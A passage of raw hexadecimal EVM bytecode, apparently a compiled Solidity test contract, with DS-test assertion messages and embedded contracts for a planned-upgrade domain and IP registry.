ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f8e8e6040518363ffffffff1660e01b815260040162002d4f92919062003b5a565b600060405180830381600087803b15801562002d6a57600080fd5b505af115801562002d7f573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a44788e6040518263ffffffff1660e01b815260040162002de0919062003b36565b604080518083038186803b15801562002df857600080fd5b505afa15801562002e0d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e3391906200389d565b809950819a50505062002e85897bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168d7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62002ec188600660036004811062002e9957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600660006004811062002ed057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7a466968e63aabbccdd6040518363ffffffff1660e01b815260040162002f3292919062003b8e565b600060405180830381600087803b15801562002f4d57600080fd5b505af192505050801562002f5f575060015b62002f6a5762002f77565b62002f766000620036f8565b5b50505050505050505050505050565b600060019054906101000a900460ff1681565b60008054906101000a900460ff1681565b60405162002fb89062003780565b604051809103906000f08015801562002fd5573d6000803e3d6000fd5b50600060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405162003024906200378e565b604051809103906000f08015801562003041573d6000803e3d6000fd5b50600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051620030b3906200379c565b620030bf919062003a85565b604051809103906000f080158015620030dc573d6000803e3d6000fd5b50600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516200317190620037aa565b6200317e92919062003a58565b604051809103906000f0801580156200319b573d6000803e3d6000fd5b50600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516200323090620037aa565b6200323d92919062003a58565b604051809103906000f0801580156200325a573d6000803e3d6000fd5b50600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555063cafeeeee600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051620032f490620037b8565b620033029392919062003adc565b604051809103906000f0801580156200331f573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060005b60048110156200344557600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051620033c190620037c6565b620033ce92919062003a58565b604051809103906000f080158015620033eb573d6000803e3d6000fd5b5060068260048110620033fa57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600101905062003363565b50565b80821462003570577fe81699b85113eea1c73e10588b2b035e55893369632173afd43feb192fac64e360405180807f4572726f723a2057726f6e67206062797465733332272076616c756500000000815250602001905060405180910390a17f4e19292d84b14551cbe921e45274700a09bac6717f68602c64912df59c33a6eb8160405180807f202045787065637465640000000000000000000000000000000000000000000081525060200182815260200191505060405180910390a17f4e19292d84b14551cbe921e45274700a09bac6717f68602c64912df59c33a6eb8260405180807f2020202041637475616c0000000000000000000000000000000000000000000081525060200182815260200191505060405180910390a16200356f62003763565b5b5050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614620036f4577fe81699b85113eea1c73e10588b2b035e55893369632173afd43feb192fac64e360405180807f4572726f723a2057726f6e67206061646472657373272076616c756500000000815250602001905060405180910390a17f8d36e7ebd93d5a3d297284536b02d332820c817009f34e03dd18727ace0b18258160405180807f20204578706563746564000000000000000000000000000000000000000000008152506020018273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a17f8d36e7ebd93d5a3d297284536b02d332820c817009f34e03dd18727ace0b18258260405180807f2020202041637475616c000000000000000000000000000000000000000000008152506020018273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1620036f362003763565b5b5050565b8062003760577fe81699b85113eea1c73e10588b2b035e55893369632173afd43feb192fac64e360405180807f417373657274696f6e206661696c656400000000000000000000000000000000815250602001905060405180910390a16200375f62003763565b5b50565b6001600060016101000a81548160ff021916908315150217905550565b6103bb8062003f5683390190565b610e77806200431183390190565b6124df806200518883390190565b611158806200766783390190565b61113480620087bf83390190565b610cc180620098f383390190565b600081519050620037e58162003eed565b92915050565b600081519050620037fc8162003f07565b92915050565b600081519050620038138162003f21565b92915050565b6000815190506200382a8162003f3b565b92915050565b6000602082840312156200384357600080fd5b60006200385384828501620037eb565b91505092915050565b600080604083850312156200387057600080fd5b60006200388085828601620037eb565b9250506020620038938582860162003819565b9150509250929050565b60008060408385031215620038b157600080fd5b6000620038c18582860162003802565b9250506020620038d485828601620037d4565b9150509250929050565b620038e98162003c93565b82525050565b620038fa8162003ca7565b82525050565b6200390b8162003cb3565b82525050565b6200391c8162003d45565b82525050565b6200392d8162003d6d565b82525050565b6200393e8162003d95565b82525050565b6200394f8162003dbd565b82525050565b620039608162003de5565b82525050565b620039718162003df9565b82525050565b620039828162003e0d565b82525050565b620039938162003e2b565b82525050565b620039a48162003e49565b82525050565b620039b58162003e67565b82525050565b620039c68162003e85565b82525050565b6000620039d98262003c77565b620039e5818562003c82565b9350620039f781856020860162003e99565b62003a028162003ecf565b840191505092915050565b62003a188162003d3b565b82525050565b600060208201905062003a356000830184620038de565b92915050565b600060208201905062003a526000830184620038ef565b92915050565b600060408201905062003a6f600083018562003911565b62003a7e602083018462003933565b9392505050565b600060208201905062003a9c600083018462003933565b92915050565b600060208201905062003ab9600083018462003955565b92915050565b600060208201905062003ad6600083018462003966565b92915050565b600060608201905062003af36000830186620039aa565b62003b02602083018562003911565b62003b11604083018462003933565b949350505050565b600060208201905062003b306000830184620039bb565b92915050565b6000602082019050818103600083015262003b528184620039cc565b905092915050565b6000604082019050818103600083015262003b768185620039cc565b905062003b87602083018462003900565b9392505050565b6000604082019050818103600083015262003baa8185620039cc565b905062003bbb602083018462003977565b9392505050565b6000606082019050818103600083015262003bde8186620039cc565b905062003bef602083018562003988565b62003bfe6040830184620038de565b949350505050565b6000606082019050818103600083015262003c228186620039cc565b905062003c33602083018562003999565b62003c42604083018462003944565b949350505050565b600060408201905062003c61600083018562003a0d565b62003c70602083018462003922565b9392505050565b600081519050919050565b600082825260208201905092915050565b600062003ca08262003d1b565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600062003cec8262003c93565b9050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600062003d528262003d59565b9050919050565b600062003d668262003d1b565b9050919050565b600062003d7a8262003d81565b9050919050565b600062003d8e8262003d1b565b9050919050565b600062003da28262003da9565b9050919050565b600062003db68262003d1b565b9050919050565b600062003dca8262003dd1565b9050919050565b600062003dde8262003d1b565b9050919050565b600062003df28262003d3b565b9050919050565b600062003e068262003d3b565b9050919050565b600062003e2462003e1e8362003cf3565b62003ee0565b9050919050565b600062003e4262003e3c8362003cfd565b62003ee0565b9050919050565b600062003e6062003e5a8362003d07565b62003ee0565b9050919050565b600062003e7e62003e788362003d11565b62003ee0565b9050919050565b600062003e928262003d3b565b9050919050565b60005b8381101562003eb957808201518184015260208101905062003e9c565b8381111562003ec9576000848401525b50505050565b6000601f19601f8301169050919050565b60008160e01b9050919050565b62003ef88162003c93565b811462003f0457600080fd5b50565b62003f128162003ca7565b811462003f1e57600080fd5b50565b62003f2c8162003cb3565b811462003f3857600080fd5b50565b62003f468162003cdf565b811462003f5257600080fd5b5056fe608060405234801561001057600080fd5b5061039b806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80631f7b4f301461003b578063e5d6bf0214610069575b600080fd5b6100676004803603602081101561005157600080fd5b8101908080359060200190929190505050610097565b005b6100956004803603602081101561007f57600080fd5b81019080803590602001909291905050506101fe565b005b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527f1f7b4f30000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101855780518252602082019150602081019050602083039250610162565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101e7576040519150601f19603f3d011682016040523d82523d6000602084013e6101ec565b606091505b50509050806101fa57600080fd5b5050565b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527fe5d6bf02000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102ec57805182526020820191506020810190506020830392506102c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461034e576040519150601f19603f3d011682016040523d82523d6000602084013e610353565b606091505b505090508061036157600080fd5b505056fea26469706673582212201f9485aa1245955781b7529e6c0bbe4d31cf250e99bc122a5313fe60e971609464736f6c6343000704003360a060405234801561001057600080fd5b503373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b8152505060805160601c610e0861006f6000398061019f528061036552806108bb5250610e086000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c806390b60de91161005b57806390b60de914610114578063b1d6d39d14610145578063d2ac7a5f14610161578063f851a4401461017f57610088565b8063275571571461008d57806355f29166146100a95780635efd5384146100b35780637386bbc5146100e3575b600080fd5b6100a760048036038101906100a291906109e8565b61019d565b005b6100b1610363565b005b6100cd60048036038101906100c8919061095a565b6104ae565b6040516100da9190610be1565b60405180910390f35b6100fd60048036038101906100f891906109bf565b6105f7565b60405161010b929190610cc5565b60405180910390f35b61012e60048036038101906101299190610931565b61064b565b60405161013c929190610bfc565b60405180910390f35b61015f600480360381019061015a9190610996565b6107a5565b005b610169610878565b6040516101769190610be1565b60405180910390f35b6101876108b9565b6040516101949190610bc6565b60405180910390f35b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101f557600080fd5b6101fd610878565b1561023d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023490610ca5565b60405180910390fd5b42821161027f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027690610c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e690610c45565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103bb57600080fd5b6103c3610878565b610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610c85565b60405180910390fd5b60006001600080549050038154811061041757fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061046357fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b60008060008054905090506104c1610878565b156104ce57806001900390505b60005b818110156105ea57600081815481106104e657fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156105cf575060018081111561055957fe5b6000828154811061056657fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156105cd57fe5b145b156105df576001925050506105f1565b8060010190506104d1565b5060009150505b92915050565b6000818154811061060757600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b600080600080805490509050600081141561066d5760008092509250506107a0565b610675610878565b1561068d57600181101561068557fe5b806001900390505b60008114156106a35760008092509250506107a0565b60008190505b6000811115610796576001808111156106be57fe5b600060018303815481106106ce57fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600181111561073557fe5b141561078a5760016000600183038154811061074d57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050506107a0565b806001900390506106a9565b5060008092509250505b915091565b6107ad610878565b6107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390610c25565b60405180910390fd5b600080805490509050816000600183038154811061080657fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600181111561086f57fe5b02179055505050565b60008060008054905090506000811180156108b35750426000600183038154811061089f57fe5b906000526020600020906003020160010154115b91505090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000813590506108ec81610d7d565b92915050565b60008135905061090181610d94565b92915050565b60008135905061091681610dab565b92915050565b60008135905061092b81610dbb565b92915050565b60006020828403121561094357600080fd5b6000610951848285016108dd565b91505092915050565b6000806040838503121561096d57600080fd5b600061097b858286016108f2565b925050602061098c858286016108dd565b9150509250929050565b6000602082840312156109a857600080fd5b60006109b684828501610907565b91505092915050565b6000602082840312156109d157600080fd5b60006109df8482850161091c565b91505092915050565b600080604083850312156109fb57600080fd5b6000610a098582860161091c565b9250506020610a1a858286016108f2565b9150509250929050565b610a2d81610cff565b82525050565b610a3c81610d11565b82525050565b610a4b81610d59565b82525050565b6000610a5e601f83610cee565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000610a9e601783610cee565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000610ade601b83610cee565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000610b1e602283610cee565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b84601883610cee565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b610bc081610d4f565b82525050565b6000602082019050610bdb6000830184610a24565b92915050565b6000602082019050610bf66000830184610a33565b92915050565b6000604082019050610c116000830185610a33565b610c1e6020830184610a42565b9392505050565b60006020820190508181036000830152610c3e81610a51565b9050919050565b60006020820190508181036000830152610c5e81610a91565b9050919050565b60006020820190508181036000830152610c7e81610ad1565b9050919050565b60006020820190508181036000830152610c9e81610b11565b9050919050565b60006020820190508181036000830152610cbe81610b77565b9050919050565b6000604082019050610cda6000830185610bb7565b610ce76020830184610a42565b9392505050565b600082825260208201905092915050565b6000610d0a82610d2f565b9050919050565b60008115159050919050565b6000610d2882610cff565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610d6482610d6b565b9050919050565b6000610d7682610d2f565b9050919050565b610d8681610cff565b8114610d9157600080fd5b50565b610d9d81610d1d565b8114610da857600080fd5b50565b60028110610db857600080fd5b50565b610dc481610d4f565b8114610dcf57600080fd5b5056fea26469706673582212209aa5cedce839347f464b6a28b916dda17dff57b26a51af307a7ddfe440e9563864736f6c6343000704003360c06040523480156200001157600080fd5b50604051620024df380380620024df8339818101604052810190620000379190620000c3565b3373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505062000151565b600081519050620000bd8162000137565b92915050565b600060208284031215620000d657600080fd5b6000620000e684828501620000ac565b91505092915050565b6000620000fc8262000117565b9050919050565b60006200011082620000ef565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001428162000103565b81146200014e57600080fd5b50565b60805160601c60a05160601c6123466200019960003980610289528061047952806109265280610ec952806112545250806102ad528061063b528061122d52506123466000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063894049781161008c578063d2ac7a5f11610066578063d2ac7a5f14610213578063f7a4669614610231578063f851a4401461024d578063fbf58b3e1461026b576100cf565b806389404978146101aa57806390b60de9146101c6578063b1d6d39d146101f7576100cf565b80630528b345146100d457806327557157146100f2578063461a44781461010e57806355f291661461013f5780635efd5384146101495780637386bbc514610179575b600080fd5b6100dc610287565b6040516100e99190611e48565b60405180910390f35b61010c60048036038101906101079190611973565b6102ab565b005b610128600480360381019061012391906117fa565b610471565b604051610136929190611e1f565b60405180910390f35b610147610639565b005b610163600480360381019061015e9190611795565b610784565b6040516101709190611ddb565b60405180910390f35b610193600480360381019061018e919061194a565b6108cd565b6040516101a1929190612083565b60405180910390f35b6101c460048036038101906101bf91906118e3565b610921565b005b6101e060048036038101906101db91906116f4565b610c56565b6040516101ee929190611df6565b60405180910390f35b610211600480360381019061020c91906117d1565b610db0565b005b61021b610e83565b6040516102289190611ddb565b60405180910390f35b61024b6004803603810190610246919061188f565b610ec4565b005b61025561122b565b6040516102629190611da5565b60405180910390f35b6102856004803603810190610280919061183b565b61124f565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030357600080fd5b61030b610e83565b1561034b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034290612063565b60405180910390fd5b42821161038d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038490611f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f490611f43565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000806000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016104d09190611dc0565b604080518083038186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f919061171d565b9150915081156105bc578073ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b81526004016105629190611e63565b604080518083038186803b15801561057957600080fd5b505afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611759565b935093505050610634565b6001856040516105cc9190611d8e565b908152602001604051809103902060000160009054906101000a900460e01b6001866040516105fb9190611d8e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050505b915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069157600080fd5b610699610e83565b6106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90611fe3565b60405180910390fd5b6000600160008054905003815481106106ed57fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061073957fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b6000806000805490509050610797610e83565b156107a457806001900390505b60005b818110156108c057600081815481106107bc57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156108a5575060018081111561082f57fe5b6000828154811061083c57fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156108a357fe5b145b156108b5576001925050506108c7565b8060010190506107a7565b5060009150505b92915050565b600081815481106108dd57600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b815260040161097d9190611dc0565b604080518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061171d565b915091508115610a4c578073ffffffffffffffffffffffffffffffffffffffff1663894049788686866040518463ffffffff1660e01b8152600401610a1393929190611ee5565b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505050610c51565b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990611fc3565b60405180910390fd5b6000855111610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90611f83565b60405180910390fd5b6000600186604051610b089190611d8e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148015610bab5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612023565b60405180910390fd5b848160000160006101000a81548163ffffffff021916908360e01c0217905550838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b505050565b6000806000808054905090506000811415610c78576000809250925050610dab565b610c80610e83565b15610c98576001811015610c9057fe5b806001900390505b6000811415610cae576000809250925050610dab565b60008190505b6000811115610da157600180811115610cc957fe5b60006001830381548110610cd957fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166001811115610d4057fe5b1415610d9557600160006001830381548110610d5857fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093505050610dab565b80600190039050610cb4565b5060008092509250505b915091565b610db8610e83565b610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90611f23565b60405180910390fd5b6000808054905090508160006001830381548110610e1157fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836001811115610e7a57fe5b02179055505050565b6000806000805490509050600081118015610ebe57504260006001830381548110610eaa57fe5b906000526020600020906003020160010154115b91505090565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b8152600401610f209190611dc0565b604080518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f919061171d565b9150915081156110e95760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b8152600401610fb49190611e63565b604080518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110039190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663f7a4669686866040518363ffffffff1660e01b81526004016110af929190611eb5565b600060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b50505050505050611227565b60006001856040516110fb9190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612043565b60405180910390fd5b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90611fc3565b60405180910390fd5b838160000160006101000a81548163ffffffff021916908360e01c02179055505050505b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016112ab9190611dc0565b604080518083038186803b1580156112c257600080fd5b505afa1580156112d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fa919061171d565b9150915081156114745760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040161133f9190611e63565b604080518083038186803b15801561135657600080fd5b505afa15801561136a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138e9190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e86866040518363ffffffff1660e01b815260040161143a929190611e85565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b505050505050506115df565b60006001856040516114869190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90612043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90611fa3565b60405180910390fd5b838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b5050565b6000813590506115f28161228d565b92915050565b6000815190506116078161228d565b92915050565b60008151905061161c816122a4565b92915050565b600081359050611631816122bb565b92915050565b600081519050611646816122bb565b92915050565b60008135905061165b816122d2565b92915050565b600081519050611670816122d2565b92915050565b600081359050611685816122e9565b92915050565b600082601f83011261169c57600080fd5b81356116af6116aa826120dd565b6120ac565b915080825260208301602083018583830111156116cb57600080fd5b6116d6838284612238565b50505092915050565b6000813590506116ee816122f9565b92915050565b60006020828403121561170657600080fd5b6000611714848285016115e3565b91505092915050565b6000806040838503121561173057600080fd5b600061173e8582860161160d565b925050602061174f85828601611661565b9150509250929050565b6000806040838503121561176c57600080fd5b600061177a85828601611637565b925050602061178b858286016115f8565b9150509250929050565b600080604083850312156117a857600080fd5b60006117b68582860161164c565b92505060206117c7858286016115e3565b9150509250929050565b6000602082840312156117e357600080fd5b60006117f184828501611676565b91505092915050565b60006020828403121561180c57600080fd5b600082013567ffffffffffffffff81111561182657600080fd5b6118328482850161168b565b91505092915050565b6000806040838503121561184e57600080fd5b600083013567ffffffffffffffff81111561186857600080fd5b6118748582860161168b565b9250506020611885858286016115e3565b9150509250929050565b600080604083850312156118a257600080fd5b600083013567ffffffffffffffff8111156118bc57600080fd5b6118c88582860161168b565b92505060206118d985828601611622565b9150509250929050565b6000806000606084860312156118f857600080fd5b600084013567ffffffffffffffff81111561191257600080fd5b61191e8682870161168b565b935050602061192f86828701611622565b9250506040611940868287016115e3565b9150509250925092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91